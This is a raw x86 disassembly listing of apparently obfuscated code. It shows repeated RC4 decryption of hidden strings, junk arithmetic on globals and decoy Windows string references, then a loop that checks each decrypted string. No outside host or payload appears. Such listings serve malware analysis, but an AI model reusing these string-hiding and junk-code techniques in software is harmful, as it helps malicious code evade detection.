mov dword [esp + 8], edx
mov dword [esp + 4], str.windows_seven
call fcn.656939c0
mov eax, dword [0x656a8c10]
or eax, 0x5cd52742
cmp byte [str.windows_seven], 0
mov dword [str.EKFuD], eax
mov al, byte [ebp + esi - 0x418]
mov byte [ebp + ebx - 0x418], al
je 0x656858d7
mov dword [esp + 0xc], str.windows_seven
mov eax, dword [0x656a8d80]
mov dword [esp + 4], str.windows_seven
mov dword [esp + 8], eax
mov eax, dword [0x656a8e9c]
mov dword [esp], eax
call fcn.656939c0
sub dword [0x656a8c10], 0x4c17516d
mov eax, dword [0x656a8c10]
mov edx, eax
and eax, 0xeb92aff4
or edx, 0x152a3a8e
or eax, 0x1022a84
mov dword [str.EKFuD], eax
lea eax, [edx - 0x3d57af74]
mov dword [0x656a8e9c], eax
mov al, byte [ebp - 0xefc]
mov dword [0x656a8d80], edx
mov byte [ebp + esi - 0x418], al
add al, byte [ebp + ebx - 0x418]
movzx eax, al
mov al, byte [ebp + eax - 0x418]
xor al, byte [ebp + edi - 0xe64]
movzx eax, al
mov word [ebp + edi*2 - 0xcda], ax
inc edi
cmp edi, 0x11
jne 0x65685780
mov word [ebp - 0xcb8], 0
lea edi, [ebp - 0xe95]
mov esi, 0x656ac5bf
xor eax, eax
mov ecx, 4
sub edx, 0x72ea7a1c
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xd99]
mov esi, str.SdbpInitializeSearchDBContext
mov ecx, 0x1e
rep movsb byte es:[edi], byte [esi]
mov dword [0x656a8c10], edx
mov byte [ebp + eax - 0x318], al
inc eax
cmp eax, 0x100
jne 0x65685979
xor esi, esi
xor ecx, ecx
mov edi, 0x1d
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x318]
div edi
movzx eax, byte [ebp + edx - 0xd99]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x318]
mov byte [ebp + ecx - 0x318], al
inc ecx
mov byte [ebp + esi - 0x318], bl
cmp ecx, 0x100
jne 0x65685991
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, str.windows_seven
mov al, byte [edx]
test al, al
je 0x656859fa
sub eax, 0x30
cmp al, 9
jbe 0x656859f7
mov eax, dword [0x656a8c10]
sub eax, 0x1bd3e169
mov dword [0x656a8d80], eax
jmp 0x656859fa
inc edx
jmp 0x656859d9
and dword [str.EKFuD], 0x4abbd47
mov edx, str.windows_seven
mov ecx, 0xf3f
movzx eax, byte [edx]
inc edx
test al, al
je 0x65685a34
add ecx, eax
cmp ecx, 0x1261
jbe 0x65685a0e
call fcn.6568f90c
mov eax, dword [str.EKFuD]
add eax, 0x231126c8
mov dword [0x656a8c10], eax
mov eax, dword [str.EKFuD]
xor edi, edi
xor esi, esi
xor ebx, ebx
add eax, 0x688a72ec
mov dword [0x656a8e9c], eax
and eax, 0x80f1e60f
mov dword [0x656a8d80], eax
mov dword [esp + 4], str.040904B0
mov dword [esp], str.AslpFileGetVersionAttributes_failed___x_
call fcn.65691940
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
inc ebx
mov edx, str.windows_seven
mov ecx, 0x97d
or eax, 0x24273339
movzx ebx, bl
mov dword [0x656a8c10], eax
add eax, 0x753f3535
mov dword [0x656a8d80], eax
mov al, byte [ebp + ebx - 0x318]
mov byte [ebp - 0xefc], al
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x318]
mov byte [ebp + ebx - 0x318], al
movzx eax, byte [edx]
inc edx
test al, al
je 0x65685ade
add ecx, eax
cmp ecx, 0x86c
jbe 0x65685aaf
mov dword [esp], str.The_specified_context_is_already_attached_to_another_object
call fcn.65693f48
mov eax, dword [0x656a8e9c]
xor eax, 0xd343ef90
mov dword [0x656a8d80], eax
jmp 0x65685ae6
cmp ecx, 0x86c
jbe 0x65685aeb
call fcn.65692374
mov eax, dword [0x656a8e9c]
xor dword [0x656a8d80], 0xfffd4067
and eax, 0xf4708b83
mov dword [0x656a8c10], eax
mov dword [esp + 4], 0x656ac382
mov dword [esp], str.The_IPsec_cipher_transform_is_not_compatible_with_the_policy.
call fcn.65692e04
mov al, byte [ebp - 0xefc]
mov byte [ebp + esi - 0x318], al
add al, byte [ebp + ebx - 0x318]
movzx eax, al
mov al, byte [ebp + eax - 0x318]
xor al, byte [ebp + edi - 0xe95]
movzx eax, al
mov word [ebp + edi*2 - 0xd3c], ax
inc edi
cmp edi, 0x10
jne 0x65685a67
lea edi, [ebp - 0xe85]
mov esi, 0x656ac5ed
mov ecx, 4
mov word [ebp - 0xd1c], 0
rep movsd dword es:[edi], dword [esi]
mov esi, 0x656ac5fd
lea edi, [ebp - 0xb90]
mov ecx, 0x3a
rep movsb byte es:[edi], byte [esi]
imul eax, dword [0x656a8e9c], 0x44d19c15
add dword [0x656a8d80], 0x149e7968
mov dword [0x656a8c10], eax
xor eax, 0x13f348d7
mov dword [str.EKFuD], eax
xor eax, eax
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jne 0x65685ba4
xor esi, esi
xor ecx, ecx
mov edi, 0x39
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x218]
div edi
movzx eax, byte [ebp + edx - 0xb90]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x218]
mov byte [ebp + ecx - 0x218], al
inc ecx
mov byte [ebp + esi - 0x218], bl
cmp ecx, 0x100
jne 0x65685bbc
xor eax, eax
xor edi, edi
xor esi, esi
mov dword [ebp - 0xefc], eax
lea edx, [esi + 1]
movzx esi, dl
xor edx, edx
cmp byte [edx + str.windows_seven], 0
je 0x65685c24
inc edx
cmp edx, 0x280
jne 0x65685c0d
call fcn.65691610
mov eax, dword [0x656a8c10]
mov bl, byte [ebp + esi - 0x218]
mov ecx, str.windows_seven
lea edx, [eax - 0x7294abf3]
mov dword [str.EKFuD], edx
lea edx, [ebx + edi]
movzx edi, dl
mov dl, byte [ecx]
test dl, dl
je 0x65685c64
sub edx, 0x30
cmp dl, 9
jbe 0x65685c61
and eax, 0x32057dab
mov dword [str.EKFuD], eax
jmp 0x65685c64
inc ecx
jmp 0x65685c47
mov edx, dword [str.EKFuD]
and edx, 0x2b53d65c
mov dword [0x656a8e9c], edx
call fcn.65691610
mov dl, byte [ebp + edi - 0x218]
mov eax, dword [ebp - 0xefc]
inc dword [ebp - 0xefc]
mov byte [ebp + esi - 0x218], dl
mov byte [ebp + edi - 0x218], bl
add bl, byte [ebp + esi - 0x218]
movzx ebx, bl
mov dl, byte [ebp + ebx - 0x218]
xor dl, byte [ebp + eax - 0xe85]
movzx edx, dl
cmp dword [ebp - 0xefc], 0x10
mov word [ebp + eax*2 - 0xd1c], dx
jne 0x65685c05
mov eax, dword [0x656a8c10]
lea edi, [ebp - 0xe53]
mov esi, 0x656ac637
mov word [ebp - 0xcfc], 0
mov ecx, 0x12
rep movsb byte es:[edi], byte [esi]
and eax, 0x8c52681
cmp byte [str.windows_seven], 0
mov dword [str.EKFuD], eax
je 0x65685d14
mov eax, dword [0x656a8d80]
add eax, 0xde90f6b
mov dword [0x656a8e9c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [0x656a8e9c]
lea edi, [ebp - 0xbf7]
mov esi, 0x656ac649
sub dword [0x656a8c10], 0x3a963cd7
mov ecx, 0x33
rep movsb byte es:[edi], byte [esi]
sub eax, 0x5565dec5
mov dword [str.EKFuD], eax
or eax, 0x6a1e798a
mov dword [0x656a8d80], eax
call fcn.65692374
imul eax, dword [0x656a8d80], 0x2deb0348
mov dword [0x656a8d80], eax
or eax, 0xb0ba8871
mov dword [0x656a8c10], eax
xor eax, eax
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x65685d69
xor esi, esi
xor ebx, ebx
xor eax, eax
cmp byte [eax + str.windows_seven], 0
je 0x65685dc1
inc eax
cmp eax, 0x9ad
jne 0x65685d7e
mov dword [esp + 0xc], str.windows_seven
mov eax, dword [str.EKFuD]
mov dword [esp + 4], str.windows_seven
mov dword [esp + 8], eax
mov eax, dword [0x656a8e9c]
mov dword [esp], eax
call fcn.656939c0
and dword [0x656a8d80], 0xca34457c
jmp 0x65685dc8
cmp eax, 0x1ba
jle 0x65685dd4
or dword [0x656a8d80], 0xe7cc3966
jmp 0x65685de3
mov eax, dword [0x656a8c10]
and eax, 0x430ec68e
mov dword [str.EKFuD], eax
mov eax, dword [0x656a8d80]
mov edx, dword [0x656a8e9c]
mov edi, 0x32
sub eax, 0x4fd9fa09
mov dword [0x656a8c10], eax
mov dword [esp + 4], edx
mov dword [esp], edx
mov dword [esp + 8], eax
call fcn.65692138
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, ebx
xor edx, edx
mov cl, byte [ebp + ebx - 0x118]
div edi
mov edi, 0x1701
mov al, byte [ebp + edx - 0xbf7]
mov edx, str.windows_seven
add eax, ecx
add eax, esi
movzx esi, al
mov eax, dword [0x656a8e9c]
add eax, 0xc2d3d98
mov dword [str.EKFuD], eax
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ebx - 0x118], al
movzx eax, byte [edx]
inc edx
test al, al
je 0x65685e76
add edi, eax
cmp edi, 0x10ef
jbe 0x65685e55
mov eax, dword [0x656a8d80]
add eax, 0x39840d2c
mov dword [str.EKFuD], eax
mov edi, dword [0x656a8c10]
inc ebx
mov byte [ebp + esi - 0x118], cl
mov eax, edi
or eax, 0x307b1c98
mov dword [0x656a8e9c], eax
mov eax, edi
and eax, 0x5702b412
mov dword [ebp - 0xf00], eax
or eax, 0x10021410
mov dword [0x656a8d80], eax
cmp ebx, 0x100
jne 0x65685d7c
xor ebx, ebx
xor ecx, ecx
xor edx, edx
inc edx
lea esi, [ebp - 0xc96]
movzx edx, dl
mov al, byte [ebp + edx - 0x118]
add ecx, eax
mov byte [ebp - 0xefc], al
movzx ecx, cl
mov al, byte [ebp + ecx - 0x118]
mov byte [ebp + edx - 0x118], al
mov al, byte [ebp - 0xefc]
mov byte [ebp + ecx - 0x118], al
add al, byte [ebp + edx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebx + ebp - 0xe53]
movzx eax, al
mov word [esi + ebx*2], ax
inc ebx
cmp ebx, 0x12
jne 0x65685eb9
lea eax, [ebp - 0xe06]
add edi, 0x3fab7d8a
mov word [ebp - 0xc72], 0
mov dword [ebp - 0xc24], eax
lea eax, [ebp - 0xe2e]
mov dword [ebp - 0xc20], eax
lea eax, [ebp - 0xd5c]
mov dword [ebp - 0xc1c], eax
lea eax, [ebp - 0xcfc]
mov dword [ebp - 0xc18], eax
lea eax, [ebp - 0xdd6]
mov dword [ebp - 0xc14], eax
lea eax, [ebp - 0xdf0]
mov dword [ebp - 0xc10], eax
lea eax, [ebp - 0xe1a]
mov dword [ebp - 0xc0c], eax
lea eax, [ebp - 0xcda]
mov dword [ebp - 0xc08], eax
lea eax, [ebp - 0xd3c]
mov dword [ebp - 0xc04], eax
lea eax, [ebp - 0xd1c]
mov dword [ebp - 0xc00], eax
mov eax, dword [ebp - 0xf00]
mov dword [0x656a8e9c], edi
or eax, 0x1827d7dd
mov dword [ebp - 0xbfc], esi
xor esi, esi
mov dword [0x656a8c10], eax
mov eax, dword [ebp + esi*4 - 0xc24]
mov dword [esp], eax
call fcn.656810e8
mov ebx, eax
test eax, eax
je 0x6568606b
mov eax, dword [0x656a8c10]
xor esi, esi
mov ebx, 7
add eax, 0x48c6e202
mov dword [0x656a8d80], eax
xor eax, 0xb66cf858
mov dword [0x656a8e9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0xed0], 0x58
mov dword [ebp - 0xecc], 0x17
mov dword [ebp - 0xec8], 0xffffff97
mov eax, str.windows_seven
movzx edi, byte [eax]
lea edx, [edi - 0x30]
cmp dl, 9
ja 0x6568602a
inc eax
jmp 0x6568601c
mov eax, dword [0x656a8c10]
and eax, 0xa453c73
mov dword [0x656a8d80], eax
call fcn.65692374
mov eax, dword [0x656a8d80]
sub ebx, dword [ebp + esi*4 - 0xed0]
inc esi
add eax, 0x2653f342
mov dword [0x656a8e9c], eax
mov eax, dword [0x656a8c10]
sub eax, 0x5204f3a5
mov dword [str.EKFuD], eax
cmp esi, 3
jne 0x65686017
jmp 0x65686075
inc esi
cmp esi, 0xb
jne 0x65685fba
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret